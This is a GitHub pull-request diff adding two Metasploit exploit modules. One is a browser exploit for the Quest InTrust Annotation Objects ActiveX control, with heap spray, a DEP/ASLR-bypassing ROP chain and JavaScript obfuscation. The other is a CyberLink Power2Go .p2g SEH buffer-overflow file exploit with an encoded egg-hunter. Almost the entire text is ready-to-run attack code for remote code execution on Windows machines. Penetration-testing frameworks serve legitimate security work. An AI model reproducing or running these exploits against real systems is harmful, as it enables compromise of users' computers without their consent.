Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CyberLink Power2Go "name" attribute (.p2g) Stack Buffer Overflow Exploit #329

Merged
merged 5 commits into from
Apr 14, 2012
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,266 @@
##
# $Id$
##

###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super( update_info(info,
'Name' => 'Quest InTrust Annotation Objects uninitialized pointer remote code execution',
'Description' => %q{
This module exploits a uninitialized variable vulnerability in the
Annotation Objects ActiveX component. The activeX component loads into memory without
opting into ALSR so this module exploits the vulnerability against windows Vista and
Windows 7 targets. A large heap spray is required to fulfil the requirement that EAX
points to part of the rop chain in a heap chunk and the calculated call will hit the
pivot in a seperate heap chunk. This will take some time in the users browser.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # initial discovery & poc
'mr_me <steventhomasseeley[at]gmail.com>', # msf module
],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '80662'],
[ 'BID', '52765'],
[ 'URL', 'http://www.exploit-db.com/exploits/18674/'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4]
# calculation: <targetaddress> - 0x44024a50 / 4 = Ret
[ 'Automatic', {} ],

# Windows XP/Vista/IE6/IE7 target
[
'Windows XP/Vista SP0-SP3 (IE6/IE7)',
{
'Ret' => 0x76767676,
}
],

# Windows XP/IE8 target - ASLR/DEP Bypass
[
'Windows XP SP0-SP3 DEP bypass (IE8)',
{
'Ret' => 0x31AAAD78,
}
],

# Windows 7/Vista/IE8 target - ASLR/DEP Bypass
[
'Windows 7/Vista ALSR/DEP bypass (IE8)',
{
'Ret' => 0x31AAAD78,
}
]
],
'DisclosureDate' => 'Mar 28 2012',
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
], self.class)
end

def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end

def on_request_uri(cli, request)
#Set target manually or automatically
my_target = target
if my_target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ # xp/ie6
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ # xp/ie7
my_target = targets[1]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ # vista/ie7
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ # xp/ie8
my_target = targets[2]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/ # vista/ie8
my_target = targets[2]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ # win7/ie8
my_target = targets[3]
end
end

print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']

# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# shellcode
sc = Rex::Text.to_unescape(p.encoded)

# Randomize object name
obj_name = rand_text_alpha(rand(100) + 1)
main_sym = 'main' #main function name

if my_target.name =~ /IE6/ or my_target.name =~ /IE7/

js = <<-EOS
function heapspray(){
shellcode = unescape('#{sc}');
bigblock = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace){ bigblock+=bigblock; }
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000){ block = block+block+fillblock; }
memory = new Array();
for (i=0;i<1000;i++){ memory[i] = block+shellcode; }
}
function main(){
heapspray();
#{obj_name}.Add(#{my_target.ret},1);
}
EOS

end

if my_target.name =~ /IE8/

# all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase)
rop_gadgets = [
junk,
junk,
junk,
0x44014075 # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot)
].pack('V*')

rop_gadgets << [0x44015CEF].pack('V*') * 140 # padding of retn's

rop_gadgets << [
0x44015CEF, # retn
0x44015CEF, # retn
0x44015CEF, # retn
0x44015cee, # pop edx ; retn
0x4401a130, # ptr to &VirtualAlloc() (IAT)
0x44015ca4, # mov eax,[edx+4] ; retn
0x44001218, # push eax ; dec eax ; pop esi ; pop ebp ; retn 14
junk, # filler (compensate)
0x440159bb, # pop ebp ; retn
junk, # filler (retn offset compensation)
junk, # filler (retn offset compensation)
junk, # filler (retn offset compensation)
junk, # filler (retn offset compensation)
0x4400238A, # filler (pop edi ; pop esi ; pop ebp ; retn)
0x440012c1, # push esp ; ret 08
0x44016264, # pop ebx ; retn
0x00004000, # 0x00000001-> ebx
0x44015cc9, # pop edx ; retn
0x00001000, # 0x00001000-> edx
0x44017664, # pop ecx ; retn
0x00000040, # 0x00000040-> ecx
0x44017bd8, # pop edi ; retn
0x44017ebe, # retn
0x4400bf25, # pop eax ; retn
0x0C0C2478, # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn
0x44005C57, # pushad ; push 8 ; push ecx; push esi; call [eax+c]
0x90909090, # nops, do not change as it changes the offset
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090
].pack('V*')

rop = Rex::Text.to_unescape(rop_gadgets)

js = <<-EOF
function heapspray(){
var payload = unescape('#{rop}');
payload += unescape('#{sc}');
var data = payload;
while(data.length < 100000) { data += data; }
var onemeg = data.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += data.substr(0, 64*1024/2);
}
onemeg += data.substr(0, (64*1024/2)-(38/2));
var block = new Array();
for (i=0; i<700; i++) {
block[i] = onemeg.substr(0, onemeg.length);
}
}
function main(){
heapspray();
#{obj_name}.Add(#{my_target.ret},1);
}
EOF

#JS obfuscation on demand only for IE8
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
main_sym = js.sym('main')
end

end

content = <<-EOF
<object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object>
<script language='JavaScript' defer>
#{js}
</script>
<body onload="#{main_sym}();">
<body>
</html>
EOF

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

#Remove the extra tabs from content
content = content.gsub(/^\t\t/, '')

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end
end
=begin
eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001
eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ANNOTA_1+0xae62:
4400ae62 ff1485504a0244 call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=????????
=end
118 changes: 118 additions & 0 deletions modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'CyberLink Power2Go name attribute (.p2g) Stack Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
The vulnerability is triggered when opening a malformed p2g file containing an overly
long string in the 'name' attribute of the file element. This results in overwriting a
structured exception handler record.
},
'License' => MSF_LICENSE,
'Version' => "$Revision$",
'Author' =>
[
'modpr0be <modpr0be[at]spentera.com>', # initial discovery
'mr_me <steventhomasseeley[at]gmail.com>' # msf module
],
'References' =>
[
['BID', '50997'],
['OSVDB', '70600'],
['URL', 'http://www.exploit-db.com/exploits/18220/'],
['URL', 'http://www.kb.cert.org/vuls/id/158003']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
[ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
],
'DisclosureDate' => 'Sep 12 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The output filename.', 'msf.p2g'])
], self.class)
end

def get_payload(hunter)

[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}

return hunter
end

def exploit

title = rand_text_alpha(10)
buffer = ""
buffer << "\x41" * 778
buffer << "\x58\x28" # nseh
buffer << target['Ret'] # seh
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
buffer << "\x40" # inc eax
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
buffer << "\x73" # add [ebx],dh (after byte alignment)
buffer << get_payload(payload.encoded)

p2g_data = <<-EOS
<Project magic="#{title}" version="101">
<Information />
<Compilation>
<DataDisc>
<File name="#{buffer}" />
</DataDisc>
</Compilation>
</Project>
EOS

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(p2g_data)
end
end